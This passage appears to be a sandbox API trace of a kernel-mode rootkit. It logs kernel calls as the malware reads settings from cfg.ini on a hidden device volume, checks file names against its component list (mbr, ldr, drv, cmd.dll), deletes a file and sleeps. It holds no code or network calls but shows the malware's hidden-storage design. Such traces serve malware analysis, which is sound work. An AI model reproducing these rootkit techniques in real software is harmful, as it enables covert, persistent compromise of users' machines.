() [0119.307] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.307] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.307] KeEnterCriticalRegion () [0119.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.307] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.307] KeLeaveCriticalRegion () [0119.308] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.308] KeEnterCriticalRegion () [0119.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.308] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.308] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcbdc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.308] KeLeaveCriticalRegion () [0119.308] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.308] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.308] KeEnterCriticalRegion () [0119.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.308] ExFreePoolWithTag (P=0xfffffa8003bcbd00, Tag=0x0) [0119.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.308] KeLeaveCriticalRegion () [0119.308] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.308] ReleaseMutex (hMutex=0xf0) returned 1 [0119.308] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.308] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.308] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.308] KeEnterCriticalRegion () [0119.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.308] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.308] IdePortDispatch () returned 0x103 [0119.308] KeWaitForMutexObject () returned 0x0 [0119.308] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.308] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.308] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.308] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.308] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.308] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdb6e0 [0119.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.308] KeLeaveCriticalRegion () [0119.308] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.308] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.308] KeEnterCriticalRegion () [0119.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.309] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.309] KeLeaveCriticalRegion () [0119.309] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.309] KeEnterCriticalRegion () [0119.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.309] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.309] IdePortDispatch () returned 0x103 [0119.309] KeWaitForMutexObject () returned 0x0 [0119.309] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.309] KeLeaveCriticalRegion () [0119.309] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.309] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.309] KeEnterCriticalRegion () [0119.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.309] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd0000 [0119.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.309] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.309] IdePortDispatch () returned 0x103 [0119.309] KeWaitForMutexObject () returned 0x0 [0119.309] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.310] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.310] IdePortDispatch () returned 0x103 [0119.310] KeWaitForMutexObject () returned 0x0 [0119.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.310] KeLeaveCriticalRegion () [0119.310] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.310] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.310] KeEnterCriticalRegion () [0119.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.310] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.310] KeLeaveCriticalRegion () [0119.310] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.310] KeEnterCriticalRegion () [0119.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.310] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.310] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.310] KeLeaveCriticalRegion () [0119.310] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.310] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.310] KeEnterCriticalRegion () [0119.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.311] ExFreePoolWithTag (P=0xfffffa8003bdb6e0, Tag=0x0) [0119.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.311] KeLeaveCriticalRegion () [0119.311] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.311] ReleaseMutex (hMutex=0xf0) returned 1 [0119.311] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.311] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.311] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.311] KeEnterCriticalRegion () [0119.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.311] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.311] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.311] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.311] IdePortDispatch () returned 0x103 [0119.311] KeWaitForMutexObject () returned 0x0 [0119.311] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.311] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.311] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.311] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.311] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.311] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbfb0 [0119.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.311] KeLeaveCriticalRegion () [0119.311] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.311] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.311] KeEnterCriticalRegion () [0119.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.311] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.311] KeLeaveCriticalRegion () [0119.311] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.311] KeEnterCriticalRegion () [0119.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.311] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.311] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.311] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.312] IdePortDispatch () returned 0x103 [0119.318] KeWaitForMutexObject () returned 0x0 [0119.318] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.318] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.318] KeLeaveCriticalRegion () [0119.318] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.318] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.318] KeEnterCriticalRegion () [0119.318] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.318] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd1000 [0119.318] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.318] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.318] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.318] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.318] IdePortDispatch () returned 0x103 [0119.318] KeWaitForMutexObject () returned 0x0 [0119.318] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.318] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.318] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.318] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.318] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.318] IdePortDispatch () returned 0x103 [0119.318] KeWaitForMutexObject () returned 0x0 [0119.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.319] KeLeaveCriticalRegion () [0119.319] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.319] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.319] KeEnterCriticalRegion () [0119.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.319] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.319] KeLeaveCriticalRegion () [0119.319] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.319] KeEnterCriticalRegion () [0119.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.319] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.319] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.319] KeLeaveCriticalRegion () [0119.319] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.319] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.319] KeEnterCriticalRegion () [0119.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.319] ExFreePoolWithTag (P=0xfffffa8003bdbfb0, Tag=0x0) [0119.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.319] KeLeaveCriticalRegion () [0119.319] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.320] ReleaseMutex (hMutex=0xf0) returned 1 [0119.320] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.320] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.320] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.320] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.320] KeEnterCriticalRegion () [0119.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.320] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.320] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.320] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.320] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.320] IdePortDispatch () returned 0x103 [0119.320] KeWaitForMutexObject () returned 0x0 [0119.320] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.320] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.320] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.320] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.320] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.320] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.320] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.320] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.320] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.320] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.320] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.320] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.320] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.320] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.320] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.320] KeLeaveCriticalRegion () [0119.320] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.320] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.320] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.320] KeEnterCriticalRegion () [0119.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.320] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.320] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.321] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.321] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.321] IdePortDispatch () returned 0x103 [0119.321] KeWaitForMutexObject () returned 0x0 [0119.321] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.321] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.321] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.321] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.321] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.321] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.321] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.321] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.321] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.321] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.321] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.321] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.321] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.321] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.321] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.321] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.321] KeLeaveCriticalRegion () [0119.321] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.321] ReleaseMutex (hMutex=0x100) returned 1 [0119.321] Sleep (dwMilliseconds=0x2bf20) [0119.328] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a518d30, dwHighDateTime=0x1d24fa4)) [0119.328] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.328] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.328] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.328] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.328] KeEnterCriticalRegion () [0119.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.328] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.328] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.328] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.328] IdePortDispatch () returned 0x103 [0119.329] KeWaitForMutexObject () returned 0x0 [0119.329] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.329] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.329] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.329] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.329] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.329] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb0b0 [0119.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.329] KeLeaveCriticalRegion () [0119.329] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.329] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.329] KeEnterCriticalRegion () [0119.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.329] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.329] KeLeaveCriticalRegion () [0119.329] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") 